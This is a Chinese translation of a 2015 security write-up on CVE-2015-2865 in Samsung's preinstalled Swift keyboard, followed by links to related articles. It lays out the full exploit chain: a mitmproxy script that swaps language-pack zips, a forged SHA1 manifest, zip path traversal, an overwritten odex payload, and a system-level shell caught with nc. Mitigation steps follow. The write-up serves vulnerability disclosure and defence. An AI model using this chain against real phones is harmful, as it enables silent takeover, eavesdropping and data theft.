路人甲 · 2015/06/17 15:55

Remote Code Execution as System User on Samsung Phones


Summary


在能够劫持你的网络前提下,攻击者能够利用三星自带输入法更新机制进行远程代码执行并且具有 system 权限.

Swift输入法预装在三星手机中并且不能卸载和禁用.即使修改了默认输入法,这个漏洞也是可以利用的.

CVE-2015-2865

可能造成的危害:

  1. 获取传感器以及资源,例如GPS/照相机/麦克风
  2. 静默安装恶意软件
  3. 篡改app 或者手机行为
  4. 窃听通话或者短信
  5. 窃取个人敏感数据比如照片/短信.

How it Works


手机厂商(OEMs)和运营商(carriers)经常在设备中预装第三方应用,而且这些应用常常拥有较高的权限.就比如这次三星预装的Swift输入法

➜  /tmp  aapt d badging SamsungIME.apk | head -3package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0'sdkVersion:'18'targetSdkVersion:'19'➜  /tmp  shasum SamsungIME.apk72f05eff8aecb62eee0ec17aa4433b3829fd8d22  SamsungIME.apk➜  /tmp  aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep sharedA: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")
复制代码

上面的信息表明此输入法用的是三星系统证书签名的,并且拥有 system 权限只比 root 权限差一点.

Accessibility


此漏洞的攻击向量需要攻击者能够篡改上行网络流量,当输入法开始升级后漏洞将在设备重启后随机自动触发(无需交互).可以在近距离的情况下利用大菠萝/伪基站,以及同局域网的情况下利用 arp 攻击.完全远程的话可以利用DNS劫持或者劫持路由器/运营商...(都这么屌了...)

整个测试过程是在一个有 USB 网卡的 linux 虚拟机下进行的,所有的 http流量被透明代理到mitmproxy上,之后通过脚本生成注入攻击载荷.

Discovery of the Vulnerability


Swift输入法有一个升级功能可以添加一个新的语言包到现在有的语言中.当用户下载新的语言包的时候.会进行如下请求:

GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip← 200 application/zip 995.63kB 601ms
复制代码

压缩包下载后会被解压到以下目录:

/data/data/com.sec.android.inputmethod/app_SwiftKey/<languagePackAbbrev>/.
复制代码

压缩包内容:

[email protected]:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l-rw------- system   system     606366 2015-06-11 15:16 az_AZ_bg_c.lm1-rw------- system   system    1524814 2015-06-11 15:16 az_AZ_bg_c.lm3-rw------- system   system        413 2015-06-11 15:16 charactermap.json-rw------- system   system         36 2015-06-11 15:16 extraData.json-rw------- system   system         55 2015-06-11 15:16 punctuation.json
复制代码

可以看出压缩包中的文件是由 system user 写入的.权限很高哦,可以写入很多位置哦.因为压缩包和请求都是明文的,咱们可以尝试去篡改它.

可以通过 wifi 代理完成这个尝试,写了一个脚本来提高效率,脚本作用是当有语言包的请求时进行修改

def request(context, flow):if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"):returnresp = HTTPResponse([1, 1], 200, "OK",ODictCaseless([["Content-Type", "application/zip"]]),"helloworld")with open('test_language.zip', 'r') as f:payload = f.read()resp.content = payloadresp.headers["Content-Length"] = [len(payload)]flow.reply(resp)
复制代码

Payload非常简单,就一个文件

➜  /tmp  unzip -l test_keyboard.zipArchive:  test_keyboard.zipLength     Date   Time    Name--------    ----   ----    ----6  06-11-15 15:33   test--------                   -------6                   1 file
复制代码

修改之后查看/data/data/com.sec.android.inputmethod/app_SwiftKey/目录,并没有发现语言包以及测试文件.这表示,应用对压缩包进行了合法性验证.当通过多次测试后,发现在压缩包下载之前有一个包含所有语言包列表/url路径/zip的SHA1哈希的配置文件被下载.

请求如下:

>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json← 200 application/json 15.38kB 310ms]
复制代码

请求这个配置文件:

➜ curl -s 'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json' | jq '.[] | select(.name == "English (US)")'
复制代码

服务器会返回一个列表包括语言/url/sha1,英语的 payload 如下:

{"name": "English (US)","language": "en","country": "US","sha1": "3b98ee695b3482bd8128e3bc505b427155aba032","version": 13,"archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip","live": {"sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c","version": 1181,"archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip"}}
复制代码

之前所修改的压缩包的SHA1并没有在此配置文件中.配置文件也并没有进行安全的传输(加密/签名...),所以如果计算好 SHA1后伪造一个配置文件即可绕过上面的效验了.尝试在 payload 中加入目录遍历来达到写入/data/.目录的目的 (此目录需要 system 权限访问).

payload 如下:

➜  samsung_keyboard_hax  unzip -l evil.zip Archive:  evil.zipLength      Date    Time    Name---------  ---------- -----   ----5  2014-08-22 18:52   ../../../../../../../../data/payload---------                     -------5                     1 file
复制代码

做了如上尝试后成功写入文件

➜  samsung_keyboard_hax  adbx shell su -c "ls -l /data/payload"-rw------- system   system          5 2014-08-22 16:07 payload
复制代码

File write to code execution


现在我们有了 system user 的任意写入权限.下一个目标就是将写权限变成代码执行.Swift 输入法自身目录并没有可执行的二进制文件供我们覆盖.所以得另寻它处.

再对dex文件进行优化之后,文件会缓存到/data/dalvik-cache/目录下.此目录下所有文件为 system user 权限.现在需要寻找system组的文件,这样就可以通过system user权限执行.

[email protected]:/data/dalvik-cache # /data/local/tmp/busybox find . -type f -group 1000 .[email protected]@[email protected] .[email protected]@[email protected] .[email protected]@[email protected] .[email protected]@[email protected] .[email protected]@[email protected] .[email protected]@[email protected] .[email protected]@[email protected] .[email protected]@[email protected] .[email protected]@[email protected] .[email protected]@[email protected] .[email protected]@[email protected]

[email protected]下,对于整个odex文件仅替换需要的目标.最后选择DeviceTest([email protected]@[email protected]) 作为目标.

反编译之后查看manifest文件,可以看到应用确实有sharedUserId=”android.id.system”,并且看到BroadcastReceiver定义, 激活它即可自动重启设备.

<manifest android:sharedUserId="android.uid.system" android:versionCode="1" android:versionName="1.0" package="com.sec.factory" xmlns:android="http://schemas.android.com/apk/res/android">...<receiver android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver"><intent-filter><action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" /><data android:scheme="file" /></intent-filter><intent-filter><action android:name="android.intent.action.PACKAGE_CHANGED" /><data android:scheme="package" /></intent-filter><intent-filter><action android:name="android.intent.action.PRE_BOOT_COMPLETED" /><action android:name="android.intent.action.BOOT_COMPLETED" /></intent-filter><intent-filter><action android:name="com.sec.atd.request_reconnect" /><action android:name="android.intent.action.CSC_MODEM_SETTING" /></intent-filter></receiver>
复制代码

现在需要为com.sec.factory.entry.FactoryTestBroadcastReceiver生成一个odex文件,exploit 代码如下:

➜cat FactoryTestBroadcastReceiver.java | headpackage com.sec.factory.entry;import java.lang.Class;import java.io.File;import android.content.BroadcastReceiver;import android.content.Context;import android.content.Intent;import android.util.Log;public class FactoryTestBroadcastReceiver extends BroadcastReceiver {//Exploit code here}
复制代码

创建完payload之后,我们可以通过DalvikExchange (dx)工具编译并运行它用来获取一个包含dalvik 字节代码的.jar文件.再进行一些优化,将jar push到设备生成odex

ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/<payload.jar>com.sec.factory.entry.FactoryTestBroadcastReceiver
复制代码

缓存文件所在目录,shell权限可读

[email protected]:/data/local/tmp/dalvik-cache $ ls -l-rw-r--r-- shell    shell        3024 2014-07-18 14:09  [email protected]@[email protected]@classes.dex
复制代码

将payload注入到我们语言包之后,触发下载并重启.

D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) ---D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytesD/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) ---I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)
复制代码

作为 .ODEX 头的一部分,其存储CRC32以及classes.dex的修改时间,它根据原始APK的zip文件结构表:

unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dexArchive:  SM-G900V_KOT49H_DeviceTest.apkLength   Method    Size  Ratio   Date   Time   CRC-32    Name--------  ------  ------- -----   ----   ----   ------    ----643852  Defl:N   248479  61%  06-22-11 22:25  f56f855f  classes.dex--------          -------  ---                            -------643852           248479  61%                            1 file
复制代码

需要从zip文件中拉取这两点信息对载荷dex文件进行 patch,让其看上去像是从原始DeviceTest.apk生成的.请注意,CRC32以及文件修改时间并不能作为一种安全机制.需要了解的是,因为应用更新了所有缓存才需要更新.

Patching ODEX文件并触发漏洞,之后将会执行payload.因为是测试,所以这里只弹了个 shell.

nc 192.168.181.96 8889iduid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0
复制代码

需要注意一点:生成 odex 载荷对应特定的三星设备.也就是说不同的设备/相同设备的不同系统版本需要单独生成 odex 载荷.还好Swift输入法在http 的UA中给咱们提供了这些信息..

 'User-Agent': 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900T Build/KOT49H)'
复制代码

Mitigations


有 root 权限的设备可以卸载此输入法.

adb shell pm list packages -f |grep IME
复制代码

找到文件后切换到 root 权限进入目录删除该文件.或者禁用此输入法

pm disable com.sec.android.inputmethod  // 也可能叫这个: com.samsung.inputmethod
复制代码

没有 root 的权限的设备可以在收到 OTA 之后尽快升级.

如果你的设备三星已经不推送更新了,那就尽量不要加入一些陌生 wifi.如果大表哥要打你,你是挡不住的.

Device


2015.6.16受影响设备统计 (都是美帝运营商的)

From


www.nowsecure.com/blog/2015/0…

www.nowsecure.com/keyboard-vu…

github.com/nowsecure/s…

三星默认输入法远程代码执行相关推荐

  1. 三星安卓5.0设备WifiCredService 远程代码执行

    netwind · 2015/11/26 14:24 From:http://blog.quarkslab.com/remote-code-execution-as-system-user-on-an ...

  2. Linux包管理器apt/apt-get发现远程代码执行漏洞

    研究人员Max Justicz日前发现了知名Linux包管理器apt/apt-get中的远程代码执行漏洞,该漏洞允许外部进行中间人攻击并获取root权限以执行任何代码.该漏洞已在最新版本apt修复,如 ...

  3. filter执行先后问题_Thinkphp5框架变量覆盖导致远程代码执行

    Thinkphp5.0.x框架对输入数据过滤不严,导致Request类成员存在变量覆盖问题,在一定情况下能导致远程代码执行漏洞. 介绍 Thinkphp框架官方提供核心版和完整版两种: 核心版因默认缺 ...

  4. c++ 界面交互影响处理代码执行速度_原创 | 某SCADA的远程代码执行漏洞挖掘与利用...

    作者 | 绿盟科技格物实验室 陈杰 前言 近年来网络安全形势日渐严峻,国内外都开始对工控安全越来越重视,而工控领域由于常年来对安全的忽视,导致暴露出数量惊人的严重安全漏洞,更为严重的是,相当一部分厂商 ...

  5. php 远程代码执行漏洞复现 cve-2019-11043

    漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...

  6. cve-2017-12617 tomcat远程代码执行漏洞复现测试

    0x00前情提要 Apache Tomcat团队10月3日宣布,如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操 ...

  7. cve-2019-1821 思科 Cisco Prime 企业局域网管理器 远程代码执行 漏洞分析

    前言 不是所有目录遍历漏洞危害都相同,取决于遍历的用法以及用户交互程度.正如你将看到,本文的这个漏洞类在代码中非常难发现,但可以造成巨大的影响. 这个漏洞存在于思科Prime Infrastructu ...

  8. cve-2018-7600 drupal核心远程代码执行漏洞分析

    0x01 漏洞介绍 Drupal是一个开源内容管理系统(CMS),全球超过100万个网站(包括政府,电子零售,企业组织,金融机构等)使用.两周前,Drupal安全团队披露了一个非常关键的漏洞,编号CV ...

  9. drupal cve-2018-7600 远程代码执行漏洞 简介

    漏洞分析 Drupal 在 3 月 28 日爆出一个远程代码执行漏洞,CVE 编号 CVE-2018-7600,通过对比官方的补丁,可以得知是请求中存在 # 开头的参数.Drupal Render A ...

最新文章

  1. 数字双胞胎技术和物联网如何帮助企业取得成功
  2. 全模型组的测试初步结果
  3. 「思想钢印」成真!33位中美科学家最新成果:用光成功改变大脑认知
  4. JS中关于clientWidth、offsetWidth、scrollWidth
  5. 对spinner小结
  6. 数据类型、变量、常量
  7. ansible-handlers
  8. jquery判断页面标签是否存在
  9. 音频处理之语音加速播放
  10. php excel导出科学计数法,php导出excel时科学计数法的处理方法
  11. 树上随机游走的期望距离
  12. 卡通农场服务器无响应是怎么回事,卡通农场新买的平板打不开的解决方法
  13. iHRM 人力资源管理系统_第7章 POI报表的入门
  14. 致 Embarcadero 客户及经销伙伴信函
  15. 关于layer.open()弹出页面与”父页面“之间获取数据赋值给页面Element的问题
  16. 网页前端大作业主界面(Html+CSS+JS+Axios)
  17. 卡西欧科学计算机玩法,巨好玩:计算器CASIO(卡西欧)新玩法
  18. 【Spring系列04】自动装配(Qualifier,Autowired,Resource讲解)
  19. linux free命令详解
  20. 投掷硬币(概率dp)

热门文章

  1. 手机算通用计算机还是,电脑耳机和手机耳机通用吗
  2. 栈,实现递归的数据结构
  3. 浅聊:ES6模板字符串与一般字符串
  4. 牛客21477 御坂美琴
  5. 人生励志32佳句(珍藏)
  6. 这个腊八,就让我们 年 在一起
  7. Carson带你学JVM:图文解析Java虚拟机内存结构
  8. 解决Configuration is faulty. Check the Issues view for details. Error while building/deploying project
  9. windows server 2003 如何修改登录密码
  10. 电驱系统-电机四象限运行